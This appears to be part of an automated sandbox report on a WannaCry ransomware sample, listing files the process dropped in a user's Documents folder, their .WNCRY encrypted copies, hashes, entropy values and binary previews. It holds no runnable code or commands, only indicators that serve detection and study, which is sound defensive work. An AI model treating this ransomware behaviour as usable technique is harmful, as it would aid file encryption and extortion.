                                                                                                      Preview:.....Z......W..c.*>.....>......5>.r....O....G..D..:.........d..*.E....J.L......j.W.1..u@....Aa$.@.j...{F.7Ud...`........&7...(.......'..X..W../{B[[.^.w.Nj.R....-.5.am........V..QX.cA&.h.'...0su.@....@..|k.M.;\..Mi.'...=...6........I..8X.!.. ..../.Y.1..wC_.@e....5 .0....LN.{.....u7..!h..O..]4{h..<.d...$.......:.Q.bv...".L...8......Z2,;f..x...n.J..-;..+6..I...~..8..x.)f..P.|I..".!..C.....t.V.6.R%.Y......G./K1.O.'..E.a.!EJ..{..P...u...d.r....+.~.!/@...d...a.s`Dd.,....`.F..F$...7+b.........5.LQ...U.2.....Pc$.L...d0../...gf..b.l%.......8..:.F....0.[N.u.'<C..).X...ET..i.{...;.2..^-....hOZ.S....P........yk...d..dRG?m...:..{.R....f.......&R.G.t)..G....!.$..I....Ff.!.My\R.EHyo4&....l...[81.|u.bS).G.e.M.......0j$..$.C....:i.$j.._\...(#..o3f.<...2..GX.ayT$.X.FWy#.o.V.....=v....$.|.b.s...W..:...W.^...%.QR:..6"....pC..X]....r..KKs..f....;..#5G.%.....f..T...N.g..*w..|...8.....F^}y3.w.."....X...r.. .9.X.2...Q#....E.`q3.B.......Dt.b..G!HwG.d&*i.%...,.....

                                                                                                      C:\Users\user\Documents\BJZFPPWAPT\BJZFPPWAPT.docx.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.84199393184899
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkEwIiE9H4xVpFdQn9qnkoVOldTRnzl/9SGCPemXeU5LtISo2sZ:bkuPHULbdPO3dnSGCZOiG72S
                                                                                                      MD5:F8BBEE90398DE5F745CCFA9207BCAAEF
                                                                                                      SHA1:0761D0C0DD1835F04A0B8C32659A9E45C20A1709
                                                                                                      SHA-256:6620F25BCCCE445F05A1FA1984317FCE0AB9EE89B6D57C87A4396288FEFDFFAA
                                                                                                      SHA-512:5B9CAB728B98D1F06D8042480B4BEB6322DB5E3B9DFA31DDEEA121D48D1AC9597E860B843146685B0F40477E8560D88662E135EB3B40EF73434E65B8D9594069
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....D|...$q...WXFy"......6B.@*.M......q...W/>~t....<.@.......4SR.PKh.J..w..-..n..HM.......h.`.8..1.o.....4..1..L,..2..+i...h?...t...%>..&HDF..I....m....B........<!a...@...q....|.6..Y....*.O.O.2G.<.a...........P!0.E=..%...?......*D..k.......j.{..E..|............N&.h.C..'4C5|....j.K.N.f...t].u.mkH(.....9...h.....3......%72......(.).Z*9...vp...x......M.P.$y^..#s.n%..b.....kT|..sw..?=.......`y{...h...o.3.....1..oA...Q....^..e.P...#..H..b.....Kg...O#..kd...2(x8..S.......fw...S....U:N...}.)..N..o@<d....0.}f.....n.lO.y.^......Y%.vH.bi.3..v.....tV..eQ..........#S.W..k`6#/.|.3.h.i.K.<.......L..j.V...u\K..O.@s.@..U?k..L>....k.....P.7\.z(.+......_..h2......B..x_b.9{?m....K...z...AAN..s.B_O..n..|..I.S..0..~......u..2..24....q..$...d>..`...r. ...'.[.8G.Ya.....r.."OND.,.1*...Q.lz.I.({.}EB.+n.H."...*rk2..WA.+d.=.!n`.+)<{...C......u.....V.c..Z.b..).....#0...g.'0...j<./g..uF..4,..X..P?..^d....GPF.YD!.........0.;v.dN.D].q?.$.1^..s.p;S..i;.1.UU.c.

                                                                                                      C:\Users\user\Documents\BJZFPPWAPT\BJZFPPWAPT.docx.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.84199393184899
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkEwIiE9H4xVpFdQn9qnkoVOldTRnzl/9SGCPemXeU5LtISo2sZ:bkuPHULbdPO3dnSGCZOiG72S
                                                                                                      MD5:F8BBEE90398DE5F745CCFA9207BCAAEF
                                                                                                      SHA1:0761D0C0DD1835F04A0B8C32659A9E45C20A1709
                                                                                                      SHA-256:6620F25BCCCE445F05A1FA1984317FCE0AB9EE89B6D57C87A4396288FEFDFFAA
                                                                                                      SHA-512:5B9CAB728B98D1F06D8042480B4BEB6322DB5E3B9DFA31DDEEA121D48D1AC9597E860B843146685B0F40477E8560D88662E135EB3B40EF73434E65B8D9594069
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....D|...$q...WXFy"......6B.@*.M......q...W/>~t....<.@.......4SR.PKh.J..w..-..n..HM.......h.`.8..1.o.....4..1..L,..2..+i...h?...t...%>..&HDF..I....m....B........<!a...@...q....|.6..Y....*.O.O.2G.<.a...........P!0.E=..%...?......*D..k.......j.{..E..|............N&.h.C..'4C5|....j.K.N.f...t].u.mkH(.....9...h.....3......%72......(.).Z*9...vp...x......M.P.$y^..#s.n%..b.....kT|..sw..?=.......`y{...h...o.3.....1..oA...Q....^..e.P...#..H..b.....Kg...O#..kd...2(x8..S.......fw...S....U:N...}.)..N..o@<d....0.}f.....n.lO.y.^......Y%.vH.bi.3..v.....tV..eQ..........#S.W..k`6#/.|.3.h.i.K.<.......L..j.V...u\K..O.@s.@..U?k..L>....k.....P.7\.z(.+......_..h2......B..x_b.9{?m....K...z...AAN..s.B_O..n..|..I.S..0..~......u..2..24....q..$...d>..`...r. ...'.[.8G.Ya.....r.."OND.,.1*...Q.lz.I.({.}EB.+n.H."...*rk2..WA.+d.=.!n`.+)<{...C......u.....V.c..Z.b..).....#0...g.'0...j<./g..uF..4,..X..P?..^d....GPF.YD!.........0.;v.dN.D].q?.$.1^..s.p;S..i;.1.UU.c.

                                                                                                      C:\Users\user\Documents\BJZFPPWAPT\GLTYDMDUST.png

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:OpenPGP Secret Key
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.787654840626023
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:K0SGzlE8SdqKSRnhchzAwkRz0i+u7BaCGQQnwi:rSGx9SK0MR45uVaCGQBi
                                                                                                      MD5:725AE305313253C018128B9893BDB862
                                                                                                      SHA1:5138A737F3CD30906111B2530442F7EA4C773EA4
                                                                                                      SHA-256:E7288B9AC0148AD75DC77810CEAC14A79F29317B8B6F5CE081187CA9D56A5E41
                                                                                                      SHA-512:82F9B256CD6D78E5C7359471C87CB7EA4E999831C0B20CD41BF275F427A4F86EF1693485A78EF1712E01952461154CEE42D30979126B66264C97745B29779A4B
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:.(...hB....b.O..Z;.}C.=.$.>>*.BI.&%;.g.z..*.(..u.J....7..P..Y.A.L.LZ...s....)N.u'#6..a4.....X....h............Z=...$.:.......e..vib.._.Z...]..]$......}l:...z..XW+{..6"........:..X......H..l.kW....g.....H?...@...x......:........l....,N..3#H..`.4...8..65...#.]...1....^.E,\.~.#..]\..N.W$..Ar.!.3.G$# m.<.....\...3....G..; ..Q...}<.m5...>P.'.......,...n...tjr-}9W.i.V.....pK......y'....a._,.....)l.r......q}....g)..o......d).9a..^w...`r.pE..D...a...k\.;"..]....j..js8I)....C....e......)..g#....1,....h.(.N.Ye...;T..W.?.....I.....U.....z./iK....x..5r/x..........|.l.5['lK.@$...Hl.cg...I.?J.B.Jo..Y.$.........|..m.o..:..Qx....er..z.c../...\....J..3..i....K.......$W..%..V.Y...]..=m.|yU...Jqi...[{J.]J.i...&.K...'u...m.S.......f.}.......W..H.#.m.%.X..W..9...J.^.q....@#u3../.....t...I.}..jVg....*..[..jT.6....os*r..C.kb........%|.N7/.............X..t.\hH........:;..w...H..>.|..7(.|.K.B..2.uG..B....J.3.../KUwo7.^B."..Q.%..b...`........-..6.M.'{..JR....S..I..

                                                                                                      C:\Users\user\Documents\BJZFPPWAPT\GLTYDMDUST.png.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.870546032528056
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkzE6BG7KPt+Oju+39ldN+q5PklhbiWP+bi4LOE1YuUBUfa0TKryIkzPVm3lVx1x:bkzE6BRV9ju+Pdsq2biWakBUfmODTVOb
                                                                                                      MD5:D767F76ABA8DE4098629CC199C83197B
                                                                                                      SHA1:2867AE33BB5D931683A59A8B867CDFDF4FFB6284
                                                                                                      SHA-256:7074AA42EFAA4FF850383129AF8E1590F99A04528A839846207A49A21AEC4198
                                                                                                      SHA-512:F3A39492FEB73C13D193156F599DB7C0CF1202E0D77B321EAFDD419F7BB9FA9040219DDBBE3C8D18A33F5C721BA9A1145C2042CADCAD944BAC1FF01C2F0EA973
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....O...g..:.9...@.N...U..i..M.E..8...h,|....&.....K.N.#..E.N...WN.l.x.?.y.20\Y.C..GOW=r..&.C..S.|!.(....g;."..r.%........+.^...I$j...#...>.....@y.<k....S0.r....!R.~V.`z....Y....H.fCI...D.\...I....qZj.M..u......A..&..i......M..?^.....3..'.........-.jT............F..T.-.)......x.w.QX..yW...k[0...h$............p.[.'^..#V...).)...../..J.....e.xp...E..........F...J.lI...$,`..a.....+.`z_.sF8...H....J?.E.D..M..+B..gs....Y..."...+.......dr8.Q..O#..u:....r.S.......v..U...2.f...~.,..v..)R.k...>..J...^..qW.x...R..........i.\.~n.*+c..F.#..`3$5.mn.z...Rm..J..-..aK>..](fc..L.V....J..^WJ...z..{7W...=...vv..+...,.....h...M......>...9....$...r4....cy...m.j...kcK|.4...Z.A....&.TB...G...}...)..h.Pt..H...Pk4'b(7]..Y....i.ZO.D.)...S.O.E.y..9?..,.E...@.8..Z...|...%....3..!U........W3...p$..,.....?.5.......vuJ;......u..J..~..bRx;l.T.%^ .0...1w}..?.'...3V.P...&...$.i.l..H...`.....N. X.[.G.>_..8..G......d.....y.E..Z.......B.S.12.........u.A.b\C.&...k=l. e.

                                                                                                      C:\Users\user\Documents\BJZFPPWAPT\GLTYDMDUST.png.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.870546032528056
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkzE6BG7KPt+Oju+39ldN+q5PklhbiWP+bi4LOE1YuUBUfa0TKryIkzPVm3lVx1x:bkzE6BRV9ju+Pdsq2biWakBUfmODTVOb
                                                                                                      MD5:D767F76ABA8DE4098629CC199C83197B
                                                                                                      SHA1:2867AE33BB5D931683A59A8B867CDFDF4FFB6284
                                                                                                      SHA-256:7074AA42EFAA4FF850383129AF8E1590F99A04528A839846207A49A21AEC4198
                                                                                                      SHA-512:F3A39492FEB73C13D193156F599DB7C0CF1202E0D77B321EAFDD419F7BB9FA9040219DDBBE3C8D18A33F5C721BA9A1145C2042CADCAD944BAC1FF01C2F0EA973
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....O...g..:.9...@.N...U..i..M.E..8...h,|....&.....K.N.#..E.N...WN.l.x.?.y.20\Y.C..GOW=r..&.C..S.|!.(....g;."..r.%........+.^...I$j...#...>.....@y.<k....S0.r....!R.~V.`z....Y....H.fCI...D.\...I....qZj.M..u......A..&..i......M..?^.....3..'.........-.jT............F..T.-.)......x.w.QX..yW...k[0...h$............p.[.'^..#V...).)...../..J.....e.xp...E..........F...J.lI...$,`..a.....+.`z_.sF8...H....J?.E.D..M..+B..gs....Y..."...+.......dr8.Q..O#..u:....r.S.......v..U...2.f...~.,..v..)R.k...>..J...^..qW.x...R..........i.\.~n.*+c..F.#..`3$5.mn.z...Rm..J..-..aK>..](fc..L.V....J..^WJ...z..{7W...=...vv..+...,.....h...M......>...9....$...r4....cy...m.j...kcK|.4...Z.A....&.TB...G...}...)..h.Pt..H...Pk4'b(7]..Y....i.ZO.D.)...S.O.E.y..9?..,.E...@.8..Z...|...%....3..!U........W3...p$..,.....?.5.......vuJ;......u..J..~..bRx;l.T.%^ .0...1w}..?.'...3V.P...&...$.i.l..H...`.....N. X.[.G.>_..8..G......d.....y.E..Z.......B.S.12.........u.A.b\C.&...k=l. e.

                                                                                                      C:\Users\user\Documents\BJZFPPWAPT\HMPPSXQPQV.mp3

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.841990082420993
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:9xz1roo/h2itJYa7/WFupEed5aQm00yIz3+LZ26d/foX:bbh2N6/WFu20aQmDyIL+LZNQX
                                                                                                      MD5:87843F06EF7D85B2F9B9D171C3464FB5
                                                                                                      SHA1:1F9F58D69E41D48349436BA315B041DAA9E9A270
                                                                                                      SHA-256:A5A97C9678E9B2068581D78620B2653C7751E3603071B2DD454A7ACECA9AF109
                                                                                                      SHA-512:E366F74261751BF157BC9F7817603DC5296475AD09582AF0F832D868610117ADDCB5987B4F86A5CBA7E60D3A53D9469B03DD40B83D821FC4B79435EF4B5C6AD4
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:A.0.%..........~.Z).~.,........t..S..*u....ay..N\.`?W...i....v...oe....h>e..cZ....vu..y.s.....xz(....^...Z. .....@/..D.......J.5.U.....jgM.z..T/...[.............;..].....K.a.Z:W.....lK..A..7..J.......R.!.....I...0..+J...D......m...._.2>... .. ....}........f.p{N.....?......^....N. .....6#.Bs.Yz..&E.!./w.}Z.........pQ.|...q..Q:..N.....ALM..."e.....>.x. y>X....id..!s...#L$.....t%..9sm.5......LH3...>...;)..R..,^....I..9...<Ix7......4..C.6$. F.]E|.....9.....6..v.g..O.......s....P~HS?+[.r.1...<.a=....../vg.C..3H..A.W.L...d.Z.n....=.u)"..&a..~..... ....Z.....{Sf%...!..j....].I.h.n..L.....;Z.........-...>}.v...@h0M.:+-...f.B9Ee\.p.B.a.v7d....;.63..v*#g.E.j.V...C.XPc.7.u. .dR..........P`.....4......yC..;X...Z.j..)...<.c...zGIp$.a...S....<..Du/7A.M{r...<..M>.8....`x.#j.N)....%.\Uk.2<....I.)TS{......;.^.G&j..g......-q.,.b..a._....|...0.."_N.w.I..^..liE.....q.U.w.....DN.........Jh..^.I...w..|O..K?..+*.5o9.z..`.....v..n.4~.a8#1.....Q..kW..C.".Y

                                                                                                      C:\Users\user\Documents\BJZFPPWAPT\HMPPSXQPQV.mp3.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.846098538905087
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkB3azYdWiZInxLuIbs0/ptMOtcNGjG3Rl6H7riCMZBHRPLrzIlsQeQGF:bkkzCoSIbFBt/c3R4bdMXhXIIF
                                                                                                      MD5:BC66D3531329F9CDCEF6BFE17300AF7E
                                                                                                      SHA1:900F976DFB88A6DA65BDCE9C6848785C36A00C72
                                                                                                      SHA-256:5523999FCACD64B63A7039C98B91455BF91EF7C2226027DC4EB9578D7B45D163
                                                                                                      SHA-512:1ACAF4041613E820222085CE4D21A70F78F1DC2CB9D95216FBBD5C612AF1747B21516C19A5F593E59C678068FB52357ED8F65FF1BFCE1944E9928D22386C0905
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.......-].]..Kn6.[.}.,..OG.].,.^..<....a.0..z.k..t..*....I...G.h.U......9.....j.o.&*h......xU;?...-...V...~.E..V..&........&.W.j...?;..r7.../...Y$.[....4.p..Edu.Y(/..W(..U.......X........D...eC.....}....;BN.K;-.......{....@...FI........'.Q.J.r.uX.5.............|...s..A.,L...v.MC.R..3....f*|8`...2ZZ<....QGw.9))UD. zX....7m.2..4t..dG..._....&y.<.iE.,....).....)a.g.......9...)0.I.~.DT.@......3.qw.M.S(.-%=..f.'..$.....X.i0(._...mMe........s.m..,....@..A......n ...Q.5.]......#..n..$rl9..'.a..tR8._>rt...|@.._.IE.9.D....x$..BH....n.........u.?!....=..4C{l7.\)l.)..u.W.B=I7......._*.4.......J....q.......T...cEc.........X.KI...d\......@.e.3=}.w..YT.b..0.4....de.4...u-TA...v..R..4........V.Ja.T1.V...S?.O......<..(.PS...'qC;Bq#.[.]....o...M...Fm..._..8....;M..............2Y.\...K...I{n...C...`.GprW`..".%A..=.`...Y....ty.2+.h...;.....'.2-.......^.....M6',....S.)SX.@....).v..RNq...&5,B.....-.0..#....[..6pf46.<P2..+>".O....r.l.E]'y:q..{......

                                                                                                      C:\Users\user\Documents\BJZFPPWAPT\HMPPSXQPQV.mp3.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.846098538905087
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkB3azYdWiZInxLuIbs0/ptMOtcNGjG3Rl6H7riCMZBHRPLrzIlsQeQGF:bkkzCoSIbFBt/c3R4bdMXhXIIF
                                                                                                      MD5:BC66D3531329F9CDCEF6BFE17300AF7E
                                                                                                      SHA1:900F976DFB88A6DA65BDCE9C6848785C36A00C72
                                                                                                      SHA-256:5523999FCACD64B63A7039C98B91455BF91EF7C2226027DC4EB9578D7B45D163
                                                                                                      SHA-512:1ACAF4041613E820222085CE4D21A70F78F1DC2CB9D95216FBBD5C612AF1747B21516C19A5F593E59C678068FB52357ED8F65FF1BFCE1944E9928D22386C0905
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.......-].]..Kn6.[.}.,..OG.].,.^..<....a.0..z.k..t..*....I...G.h.U......9.....j.o.&*h......xU;?...-...V...~.E..V..&........&.W.j...?;..r7.../...Y$.[....4.p..Edu.Y(/..W(..U.......X........D...eC.....}....;BN.K;-.......{....@...FI........'.Q.J.r.uX.5.............|...s..A.,L...v.MC.R..3....f*|8`...2ZZ<....QGw.9))UD. zX....7m.2..4t..dG..._....&y.<.iE.,....).....)a.g.......9...)0.I.~.DT.@......3.qw.M.S(.-%=..f.'..$.....X.i0(._...mMe........s.m..,....@..A......n ...Q.5.]......#..n..$rl9..'.a..tR8._>rt...|@.._.IE.9.D....x$..BH....n.........u.?!....=..4C{l7.\)l.)..u.W.B=I7......._*.4.......J....q.......T...cEc.........X.KI...d\......@.e.3=}.w..YT.b..0.4....de.4...u-TA...v..R..4........V.Ja.T1.V...S?.O......<..(.PS...'qC;Bq#.[.]....o...M...Fm..._..8....;M..............2Y.\...K...I{n...C...`.GprW`..".%A..=.`...Y....ty.2+.h...;.....'.2-.......^.....M6',....S.)SX.@....).v..RNq...&5,B.....-.0..#....[..6pf46.<P2..+>".O....r.l.E]'y:q..{......

                                                                                                      C:\Users\user\Documents\BJZFPPWAPT\KLIZUSIQEN.pdf

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.838122499363327
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:W9wFejKl//AnKXRSQybpFmlBO3bOeiApsdaz:/Feje/AKBtybD4BIt9Wo
                                                                                                      MD5:71659D85321CFFAF633D8685C760FB4B
                                                                                                      SHA1:4787C224FBC9857D9DA0C8020B2477BC13EDC56F
                                                                                                      SHA-256:FCD33824E5E5659D46480279917A365FAE6D8BB3BD731FE8B5D191E89A010A79
                                                                                                      SHA-512:10810D3A8CC1F5D3AE6EC7E300F6BB73B42BD75AD7CA4F7F70B0AA08155AC5C5BA399D7C8C0FABBA5A21055C910693AD741AF0E497600A6E6AFEA5EA0BDFC1DE
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:.T.(Ki........|].Ho&...gl..Er.....`|.......9Y.v..._.?...;..yMOc..c..@1.Cv.n&....+....M...9.G'..gf.#.,J+...4.ZjwT.v...S\T.Bz8....$..m%...l..ErA.:.@..R.6B.g{n^......$#....E._Z..U.Z24$]...j.....]..38OH.l..f..[..Z.c.....A..1...#.........3\;.~..Z7.e...]..g..s...f.k.,*..........'.>q.A.z...J..B..c.H..J k..r...x=%J..8!.....MM..}.f=..S<..bk...".d..2...4Ca....v.../+...D.......h.b..f.....C._Q....n.i.$H.\..?.hQ..H.w}...).M6..[n... z.v{..Fy...wY{..|#J..V._^.....P7.M.....K...K|...../..l.f..j F..:.+..u..@JG1P.....6>.)s..kb.N.o.........mu...S......).(/..P...[...G..K.&.....{.N.LSF.u}.s....S....u...3.B#.Zz...4.>".h.*......:6.........Zw.9.7g.~...Fg)..C.E.s.klLQQ"..N.......a.h....[.OAH......./..;...&y......~.>..gP...2<e.t..|..'.'../.O.....eC....z`....1.B.m...;&>0`....a~{...-.._.@P.X3..IZg.?A.l....X.q.....Z.{..U....t....S.;GW>.k.."....:4L..E..#..2b..1.........)5....x...4r.:}..,.X...F3b..z2g.4M^.b.v..q.....m......K9.ps.......:..G....a....y.

                                                                                                      C:\Users\user\Documents\BJZFPPWAPT\KLIZUSIQEN.pdf.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.837106242839181
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkaSLYlCvRzSI65AU/l63CWr2vGd2LSSEPclNUVUjBAWlP2ZuHXvYTy5vv875Ix5:bktJzSN2NgG2LbbUKFAWlpHfay5vU525
                                                                                                      MD5:DB28DF99D22D7CF15DBFF51D65CFE226
                                                                                                      SHA1:F1B763F7DEC9CDE2411A1DDCDB4A98B280473D36
                                                                                                      SHA-256:2405D96B00B00373065706636FADE9C15328CEB6BDF516240B16F12469F7D75F
                                                                                                      SHA-512:86587041320CC72E835CAC20EB25D9088B749BA4A2B04F3F0C3658B1BEEF09A755F7D7C8E85AA84FE2CE3D3B86620362F966FBA1FE703C8B39049A48E6D21F98
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......H...y.....g.a.......pQ.m.....U.........!B....j,....F....?......T-+l.8....s.V..C d..S.V.a...u...G.-.....k.,."...P......#.G}...g%.M.....;}..6)d.Tt.%.g0.pd]..J.ql. .Q.p...4.Y..T.P..$...#.8.{.#rk.].7..m.|...i.._.Ac..s.C...}..{.:.X.<.!....l.............fvk..Cw\L.......v.?v..MN....)."mw.S&..pN~..K8...@.....2.. r.]......u.uc...&v.N.U....=V#f.........~."...)v....n3.#..O.T...r.......z...+&<...iLyK.XA.L.S...XD........I.......g..../G. ..'.<...n..I......y,V...i....f........{...4.3.....|..U.yI.SLN%.wTWU...........G..h........KR.E.....:.C)8&.n?..^.O..Y-.I./.%.w...q0.j.3...f...j.`.Nro...u.X..F..hY...W}`V......,.IAX#...X....;|..?....3..$H... |..., ....S.g.. .at. .BF..J..l...-.T...n&>G.U.J...5.%..4.Bm.....O..O.G.9..y..].S[.(.W....}.e..B1......A:w.....no......F......./.w>.@./..Y{.j...@....p.M.s.+.*.0....c..@b..C{.D.Z0.7)%.Y.nW...C.LN..5|....=[.[.......`8k..Q.....5..?$z =R|..e........./!....6*D3{NN,...;...{.7K..S.........[..o.w.{..

                                                                                                      C:\Users\user\Documents\BJZFPPWAPT\KLIZUSIQEN.pdf.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.837106242839181
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkaSLYlCvRzSI65AU/l63CWr2vGd2LSSEPclNUVUjBAWlP2ZuHXvYTy5vv875Ix5:bktJzSN2NgG2LbbUKFAWlpHfay5vU525
                                                                                                      MD5:DB28DF99D22D7CF15DBFF51D65CFE226
                                                                                                      SHA1:F1B763F7DEC9CDE2411A1DDCDB4A98B280473D36
                                                                                                      SHA-256:2405D96B00B00373065706636FADE9C15328CEB6BDF516240B16F12469F7D75F
                                                                                                      SHA-512:86587041320CC72E835CAC20EB25D9088B749BA4A2B04F3F0C3658B1BEEF09A755F7D7C8E85AA84FE2CE3D3B86620362F966FBA1FE703C8B39049A48E6D21F98
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......H...y.....g.a.......pQ.m.....U.........!B....j,....F....?......T-+l.8....s.V..C d..S.V.a...u...G.-.....k.,."...P......#.G}...g%.M.....;}..6)d.Tt.%.g0.pd]..J.ql. .Q.p...4.Y..T.P..$...#.8.{.#rk.].7..m.|...i.._.Ac..s.C...}..{.:.X.<.!....l.............fvk..Cw\L.......v.?v..MN....)."mw.S&..pN~..K8...@.....2.. r.]......u.uc...&v.N.U....=V#f.........~."...)v....n3.#..O.T...r.......z...+&<...iLyK.XA.L.S...XD........I.......g..../G. ..'.<...n..I......y,V...i....f........{...4.3.....|..U.yI.SLN%.wTWU...........G..h........KR.E.....:.C)8&.n?..^.O..Y-.I./.%.w...q0.j.3...f...j.`.Nro...u.X..F..hY...W}`V......,.IAX#...X....;|..?....3..$H... |..., ....S.g.. .at. .BF..J..l...-.T...n&>G.U.J...5.%..4.Bm.....O..O.G.9..y..].S[.(.W....}.e..B1......A:w.....no......F......./.w>.@./..Y{.j...@....p.M.s.+.*.0....c..@b..C{.D.Z0.7)%.Y.nW...C.LN..5|....=[.[.......`8k..Q.....5..?$z =R|..e........./!....6*D3{NN,...;...{.7K..S.........[..o.w.{..

                                                                                                      C:\Users\user\Documents\BJZFPPWAPT\NYMMPCEIMA.jpg

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.807962990389949
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:nCtBCAf5xvxKpoSut4JKf8uxllQxMFpz+cgV+f4lLQThOy5:CtBtfUPujk2sxMr2tliOy5
                                                                                                      MD5:FCD4729788C347DCE62F326868497FF9
                                                                                                      SHA1:D91EC99C8A49A61C1B5B73289C7C9D093EB5B884
                                                                                                      SHA-256:A9EA7DF6E56896678C4278CF0C46D47251FC4381AA0BA2075D2DC538814CE693
                                                                                                      SHA-512:AD233B9C2428433C8D8175A70E8BE843105FDE5331F48BE4563FCE05C423CB7776A12F4C3F8285342EF72B8921EC613CBF45408282239B4E0E53055B040B48ED
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:..-..:...-..../..6.3....5.c..7.p.bw.;..@..T.... }B..v#!......&..n...%..ZK..3.5.i.....E&.>....i oM..Ff.&...... .?G.../.>..1a.m.d....J.$.............`.....Ao.....q.j..X@.?...............HT.w]...O..IL....s.....VX.;/.h7_E.D..d.{..:.z$..X.e..3....[.{,+d.W.IP...b&[+.7.8=..<.-....?7.I%O.y..R.76r.V....t..sE.^.....<....{.."#j/...-.......S%.|...._.B....jUq.^r..j..5.i.,....B..<.f...S.f..P:U.....1>.U".B.C....... ....sj....d.......#V........!W3&N....]....\.7.BI..A....*L....7......B_..#*..z..@..K.,R.4....*T}..1.98.....w....9yJ...AGQ~...)....N.S.z....R.#.....f-.N%.'#...]........|.o..<..9q?n.e-Dc~.R3p.7tzCp...)_... ....9x..O....m>/a(...h.3z4..'...lD*........*.m>....S...[..~..=9?.6`.._#.t(..^....c..nfI.%(..k.=.6.<.Rd.IF.P..l$..}...R..i~qcye.A..em..y-Cr.v.kN.fl9.P..F?....z.... .............B..?.m.=.)...`.^%a8k/b.G.-...e )H.....:.....NS)o..T.n`[..p..X .Ck!.-#.........y...L*:^..!....*.&.g....f.).;Xa.../<d..Q/X-2.../......w.8y.N.}M....q..8....uq.Mn.0.8

                                                                                                      C:\Users\user\Documents\BJZFPPWAPT\NYMMPCEIMA.jpg.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.845445732750333
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkVpviyhkhRkJBFmp9VnS2WMwX4kpRsAAwWiRSNGiG9wqj6hVmy4RzQPRvLXkLpy:bk3aphLUdpRtAwWiqDG9wqJ8tXkk
                                                                                                      MD5:291E8003BD24FACB06229B334EF00624
                                                                                                      SHA1:099F65CD389968054821315E199688AAF8914C06
                                                                                                      SHA-256:365DAE26C5586F4F11537304876B2982F1A8DB1B9F9C4993C7E4E4D1C7C255C7
